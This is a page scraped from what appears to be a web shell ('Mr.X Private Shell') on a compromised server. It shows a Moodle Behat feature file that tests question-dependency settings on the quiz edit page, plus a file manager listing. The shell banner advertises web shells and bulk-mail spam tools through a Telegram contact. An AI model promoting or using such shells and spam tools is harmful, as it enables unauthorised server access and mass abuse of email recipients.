__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
@mod @mod_quiz
Feature: Edit quizzes where some questions require the previous one to have been completed
  In order to create quizzes where later questions can only be seen after earlier ones are answered
  As a teacher
  I need to be able to configure this on the Edit quiz page

  Background:
    Given the following "users" exist:
      | username | firstname | lastname | email                |
      | teacher1 | T1        | Teacher1 | teacher1@example.com |
    And the following "courses" exist:
      | fullname | shortname | category |
      | Course 1 | C1        | 0        |
    And the following "course enrolments" exist:
      | user     | course | role           |
      | teacher1 | C1     | editingteacher |
    And the following "question categories" exist:
      | contextlevel | reference | name           |
      | Course       | C1        | Test questions |
    And I log in as "teacher1"

  @javascript
  Scenario: The first question cannot depend on the previous (whatever is in the DB)
    Given the following "activities" exist:
      | activity   | name   | intro              | course | idnumber | preferredbehaviour |
      | quiz       | Quiz 1 | Quiz 1 description | C1     | quiz1    | immediatefeedback  |
    And the following "questions" exist:
      | questioncategory | qtype       | name | questiontext    |
      | Test questions   | truefalse   | TF1  | First question  |
    And quiz "Quiz 1" contains the following questions:
      | question | page | requireprevious |
      | TF1      | 1    | 1               |
    And I am on the "Quiz 1" "mod_quiz > Edit" page
    Then "be attempted" "link" should not be visible
    # The text "be attempted" is used as a relatively unique string in both the add and remove links.

  @javascript
  Scenario: If the second question depends on the first, that is shown
    Given the following "activities" exist:
      | activity   | name   | intro              | course | idnumber | preferredbehaviour |
      | quiz       | Quiz 1 | Quiz 1 description | C1     | quiz1    | immediatefeedback  |
    And the following "questions" exist:
      | questioncategory | qtype       | name | questiontext    |
      | Test questions   | truefalse   | TF1  | First question  |
      | Test questions   | truefalse   | TF2  | Second question |
    And quiz "Quiz 1" contains the following questions:
      | question | page | requireprevious |
      | TF1      | 1    | 0               |
      | TF2      | 1    | 1               |
    And I am on the "Quiz 1" "mod_quiz > Edit" page
    Then "This question cannot be attempted until the previous question has been completed." "link" should be visible

  @javascript
  Scenario: A question can depend on a random question
    Given the following "activities" exist:
      | activity   | name   | intro              | course | idnumber | preferredbehaviour |
      | quiz       | Quiz 1 | Quiz 1 description | C1     | quiz1    | immediatefeedback  |
    And the following "questions" exist:
      | questioncategory | qtype       | name                    | questiontext   |
      | Test questions   | truefalse   | TF1                     | First question |
      | Test questions   | random      | Random (Test questions) | 0              |
    And quiz "Quiz 1" contains the following questions:
      | question                | page | requireprevious |
      | Random (Test questions) | 1    | 0               |
      | TF1                     | 1    | 1               |
    And I am on the "Quiz 1" "mod_quiz > Edit" page
    Then "This question cannot be attempted until the previous question has been completed." "link" should be visible

  @javascript
  Scenario: The second question can be set to depend on the first
    Given the following "activities" exist:
      | activity   | name   | intro              | course | idnumber | preferredbehaviour |
      | quiz       | Quiz 1 | Quiz 1 description | C1     | quiz1    | immediatefeedback  |
    And the following "questions" exist:
      | questioncategory | qtype       | name | questiontext    |
      | Test questions   | truefalse   | TF1  | First question  |
      | Test questions   | truefalse   | TF2  | Second question |
      | Test questions   | truefalse   | TF3  | Third question  |
    And quiz "Quiz 1" contains the following questions:
      | question | page | requireprevious |
      | TF1      | 1    | 0               |
      | TF2      | 1    | 0               |
      | TF3      | 1    | 0               |
    And I am on the "Quiz 1" "mod_quiz > Edit" page
    When I follow "No restriction on when question 2 can be attempted • Click to change"
    Then "Question 2 cannot be attempted until the previous question 1 has been completed • Click to change" "link" should be visible
    And "No restriction on when question 3 can be attempted • Click to change" "link" should be visible

  @javascript
  Scenario: A question that did depend on the previous can be un-linked
    Given the following "activities" exist:
      | activity   | name   | intro              | course | idnumber | preferredbehaviour |
      | quiz       | Quiz 1 | Quiz 1 description | C1     | quiz1    | immediatefeedback  |
    And the following "questions" exist:
      | questioncategory | qtype       | name | questiontext    |
      | Test questions   | truefalse   | TF1  | First question  |
      | Test questions   | truefalse   | TF2  | Second question |
      | Test questions   | truefalse   | TF3  | Third question  |
    And quiz "Quiz 1" contains the following questions:
      | question | page | requireprevious |
      | TF1      | 1    | 0               |
      | TF2      | 1    | 1               |
      | TF3      | 1    | 1               |
    And I am on the "Quiz 1" "mod_quiz > Edit" page
    When I follow "Question 3 cannot be attempted until the previous question 2 has been completed • Click to change"
    Then "Question 2 cannot be attempted until the previous question 1 has been completed • Click to change" "link" should be visible
    And "No restriction on when question 3 can be attempted • Click to change" "link" should be visible

  @javascript
  Scenario: Question dependency cannot apply to deferred feedback quizzes so UI is hidden
    Given the following "activities" exist:
      | activity   | name   | intro              | course | idnumber | preferredbehaviour |
      | quiz       | Quiz 1 | Quiz 1 description | C1     | quiz1    | deferredfeedback   |
    And the following "questions" exist:
      | questioncategory | qtype       | name                    | questiontext    |
      | Test questions   | truefalse   | TF1                     | First question  |
      | Test questions   | truefalse   | TF2                     | Second question |
      | Test questions   | random      | Random (Test questions) | 0               |
    And quiz "Quiz 1" contains the following questions:
      | question                | page | requireprevious |
      | Random (Test questions) | 1    | 0               |
      | TF1                     | 1    | 1               |
      | TF2                     | 1    | 1               |
    And I am on the "Quiz 1" "mod_quiz > Edit" page
    Then "be attempted" "link" in the "TF1" "list_item" should not be visible
    Then "be attempted" "link" in the "TF2" "list_item" should not be visible

  @javascript
  Scenario: Question dependency cannot apply to questions in a shuffled section so UI is hidden
    Given the following "activities" exist:
      | activity   | name   | intro              | course | idnumber | preferredbehaviour | questionsperpage |
      | quiz       | Quiz 1 | Quiz 1 description | C1     | quiz1    | immediatefeedback  | 2                |
    And the following "questions" exist:
      | questioncategory | qtype       | name | questiontext    |
      | Test questions   | truefalse   | TF1  | First question  |
      | Test questions   | truefalse   | TF2  | Second question |
    And quiz "Quiz 1" contains the following questions:
      | question | page | requireprevious |
      | TF1      | 1    | 1               |
      | TF2      | 1    | 1               |
    And quiz "Quiz 1" contains the following sections:
      | heading   | firstslot | shuffle |
      | Section 1 | 1         | 1       |
    And I am on the "Quiz 1" "mod_quiz > Edit" page
    Then "be attempted" "link" in the "TF2" "list_item" should not be visible

  @javascript
  Scenario: Question dependency cannot apply to the first questions in section when the previous section is shuffled
    Given the following "activities" exist:
      | activity   | name   | intro              | course | idnumber | preferredbehaviour | questionsperpage |
      | quiz       | Quiz 1 | Quiz 1 description | C1     | quiz1    | immediatefeedback  | 2                |
    And the following "questions" exist:
      | questioncategory | qtype       | name | questiontext    |
      | Test questions   | truefalse   | TF1  | First question  |
      | Test questions   | truefalse   | TF2  | Second question |
    And quiz "Quiz 1" contains the following questions:
      | question | page | requireprevious |
      | TF1      | 1    | 1               |
      | TF2      | 1    | 1               |
    And quiz "Quiz 1" contains the following sections:
      | heading   | firstslot | shuffle |
      | Section 1 | 1         | 1       |
      | Section 2 | 2         | 0       |
    And I am on the "Quiz 1" "mod_quiz > Edit" page
    Then "be attempted" "link" in the "TF2" "list_item" should not be visible

  @javascript
  Scenario: Question dependency cannot apply to quizzes with sequential navigation so UI is hidden
    Given the following "activities" exist:
      | activity   | name   | intro              | course | idnumber | preferredbehaviour | navmethod  |
      | quiz       | Quiz 1 | Quiz 1 description | C1     | quiz1    | immediatefeedback  | sequential |
    And the following "questions" exist:
      | questioncategory | qtype       | name | questiontext    |
      | Test questions   | truefalse   | TF1  | First question  |
      | Test questions   | truefalse   | TF2  | Second question |
    And quiz "Quiz 1" contains the following questions:
      | question | page | requireprevious |
      | TF1      | 1    | 1               |
      | TF2      | 1    | 1               |
    And I am on the "Quiz 1" "mod_quiz > Edit" page
    Then "be attempted" "link" in the "TF2" "list_item" should not be visible

  @javascript
  Scenario: A question can never depend on an essay
    Given the following "activities" exist:
      | activity   | name   | intro              | course | idnumber | preferredbehaviour |
      | quiz       | Quiz 1 | Quiz 1 description | C1     | quiz1    | immediatefeedback  |
    And the following "questions" exist:
      | questioncategory | qtype       | name  | questiontext   |
      | Test questions   | essay       | Story | First question |
      | Test questions   | truefalse   | TF1   | First question |
    And quiz "Quiz 1" contains the following questions:
      | question | page | requireprevious |
      | Story    | 1    | 0               |
      | TF1      | 1    | 0               |
    And I am on the "Quiz 1" "mod_quiz > Edit" page
    Then "be attempted" "link" in the "TF1" "list_item" should not be visible

  @javascript
  Scenario: A question can never depend on a description
    Given the following "activities" exist:
      | activity   | name   | intro              | course | idnumber | preferredbehaviour |
      | quiz       | Quiz 1 | Quiz 1 description | C1     | quiz1    | immediatefeedback  |
    And the following "questions" exist:
      | questioncategory | qtype       | name | questiontext   |
      | Test questions   | description | Info | Read me        |
      | Test questions   | truefalse   | TF1  | First question |
    And quiz "Quiz 1" contains the following questions:
      | question | page | requireprevious |
      | Info     | 1    | 0               |
      | TF1      | 1    | 0               |
    And I am on the "Quiz 1" "mod_quiz > Edit" page
    Then "be attempted" "link" in the "TF1" "list_item" should not be visible

  @javascript
  Scenario: When questions are reordered, the dependency icons are updated correctly
    Given the following "activities" exist:
      | activity   | name   | intro              | course | idnumber | preferredbehaviour |
      | quiz       | Quiz 1 | Quiz 1 description | C1     | quiz1    | immediatefeedback  |
    And the following "questions" exist:
      | questioncategory | qtype       | name | questiontext    |
      | Test questions   | truefalse   | TF1  | First question  |
      | Test questions   | truefalse   | TF2  | Second question |
      | Test questions   | truefalse   | TF3  | Third question  |
    And quiz "Quiz 1" contains the following questions:
      | question | page | requireprevious |
      | TF1      | 1    | 0               |
      | TF2      | 1    | 1               |
      | TF3      | 1    | 1               |
    And I am on the "Quiz 1" "mod_quiz > Edit" page
    When I move "TF1" to "After Question 3" in the quiz by clicking the move icon
    Then "Question 2 cannot be attempted until the previous question 1 has been completed • Click to change" "link" should be visible
    And "No restriction on when question 3 can be attempted • Click to change" "link" should be visible
    And "be attempted" "link" in the "TF2" "list_item" should not be visible

Filemanager

Name Type Size Permission Actions
add_quiz.feature File 2.84 KB 0777
attempt_basic.feature File 12.28 KB 0777
attempt_begin.feature File 6.19 KB 0777
attempt_multiple_grades.feature File 2.53 KB 0777
attempt_redo_questions.feature File 11.94 KB 0777
attempt_require_previous.feature File 12.75 KB 0777
attempt_review_options.feature File 3.76 KB 0777
attempt_sequential.feature File 4.53 KB 0777
backup.feature File 3.23 KB 0777
behat_mod_quiz.php File 50.46 KB 0777
completion_condition_attempts_used.feature File 4.16 KB 0777
completion_condition_minimum_attempts.feature File 3.25 KB 0777
completion_condition_passing_grade.feature File 5.67 KB 0777
completion_manual.feature File 2.04 KB 0777
editing_add.feature File 10.98 KB 0777
editing_add_from_question_bank.feature File 8.36 KB 0777
editing_add_random.feature File 16.15 KB 0777
editing_edit_random.feature File 2.99 KB 0777
editing_move_by_click.feature File 4.86 KB 0777
editing_multiple_grades.feature File 8.08 KB 0777
editing_question_numbering.feature File 6.6 KB 0777
editing_remove_multiple_questions.feature File 13.07 KB 0777
editing_remove_question.feature File 4.38 KB 0777
editing_repaginate.feature File 6.38 KB 0777
editing_require_previous.feature File 13.22 KB 0777
editing_section_headings.feature File 18.68 KB 0777
editing_set_marks_no_attempts.feature File 3.48 KB 0777
editing_set_marks_with_attempts.feature File 3.58 KB 0777
feedback_on_override_mark.feature File 2.06 KB 0777
flag_questions.feature File 3.66 KB 0777
group_mode.feature File 3.85 KB 0777
info_page.feature File 2.6 KB 0777
manually_mark_question.feature File 4.1 KB 0777
preview.feature File 5.09 KB 0777
quiz_activity_availability.feature File 6.12 KB 0777
quiz_activity_certainty.feature File 6.67 KB 0777
quiz_activity_completion.feature File 4.71 KB 0777
quiz_activity_completion_locked.feature File 2.62 KB 0777
quiz_activity_completion_unlocked.feature File 3.89 KB 0777
quiz_feedback.feature File 3.99 KB 0777
quiz_group_override.feature File 7.26 KB 0777
quiz_interactive_multiple_tries.feature File 3.42 KB 0777
quiz_no_calendar_capabilities.feature File 1.97 KB 0777
quiz_question_versions.feature File 6.95 KB 0777
quiz_reset.feature File 2.94 KB 0777
quiz_user_override.feature File 11.93 KB 0777
random_question.feature File 5.04 KB 0777
reattempt_quiz.feature File 2.56 KB 0777
settings_form_fields_disableif.feature File 6.9 KB 0777
settings_form_validation.feature File 1.03 KB 0777
Filemanager